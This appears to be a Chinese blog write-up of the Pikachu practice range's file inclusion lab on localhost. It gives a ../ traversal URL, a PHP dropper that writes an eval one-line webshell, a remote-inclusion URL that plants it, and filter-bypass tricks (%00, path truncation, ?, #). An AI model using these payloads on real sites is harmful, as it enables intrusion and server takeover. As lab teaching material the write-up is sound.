Pikachu靶场-File Inclusion

File Inclusion(文件包含漏洞)

这个靶场包含两个漏洞,第一个是本地包含,第二个是远程包含。

local:

Pikachu靶场-File Inclusion

 

 

Pikachu靶场-File Inclusion

 

 

 

在没有安全限制的情况下,我们可以使用 ../ 来包含本地文件

1.在目录下创建一个文件,11.txt 文件内容为123123

Pikachu靶场-File Inclusion

 

 

 

2.经过三次目录跳转后就可以访问该文件

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../11.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

 

 

Pikachu靶场-File Inclusion

 

 

 

remote:

Pikachu靶场-File Inclusion

 

 

 Pikachu靶场-File Inclusion

 

 

 同样没有安全限制,直接上文件,创建一个11.php的文件 文件内容为

<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/

$myfile = fopen("11.php","w");//以写的方式创建一个11.php的文件
$txt = '<?php @eval($_POST['pass']);?>';//创建一句话字符串,密码为pass
fwrite($myfile,$txt);//写入到11.php
fclose($myfile);

?>

 

Pikachu靶场-File Inclusion

 

 

 上链接:

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/11.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

解析11.php时会执行里面的创建一句话代码,最后会生成一个一句话文件

Pikachu靶场-File Inclusion

 

 

 下面,我们通过蚁剑来连接一句话

Pikachu靶场-File Inclusion

 

 

 结束

注:

0.本地文件包含可以通过phpinfo来查看session存储位置,开发者工具来获取文件名,通过ctfs来写入内容,最后包含session文件gets hell。

1.本地包含和远程包含的区别是

include "include/$filename";(本地)
include "$filename";(远程)

  如果有限定目录就不能远程包含文件,本例就限定只能在目录下的include这个目录下包含文件,但是可以通过../来绕过。

2.文件包含不一定是要11.php文件,也可以是其他文件后缀,可以参考upload-labs靶场

3.文件含php.ini相关配置

远程包含漏洞的前提:如果使用的include和require,则需要php.ini配置如下:
allow_url_fopen=On    //默认打开
allow_url_include=On
本地文件包含配置文件中开启
allow_url_include = On

4.过滤../语句

$file=str_replace('../','',$_GET['file']); // 可通过/来定位
本地包含还有一些突破限制的方法
%00 长度限制(windows 259 bytes,linux 4096 bytes)./或/. 等等来绕过。

5.远程包含添加后缀 

include($_GET['filename'] . ".html");
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。
远程包含可以用 ? # (空格)等等来绕过

 

上一篇:pikachu漏洞平台学习笔记1_暴力破解


下一篇:Pikachu靶场:SQL-Inject之字符型注入(基于报错)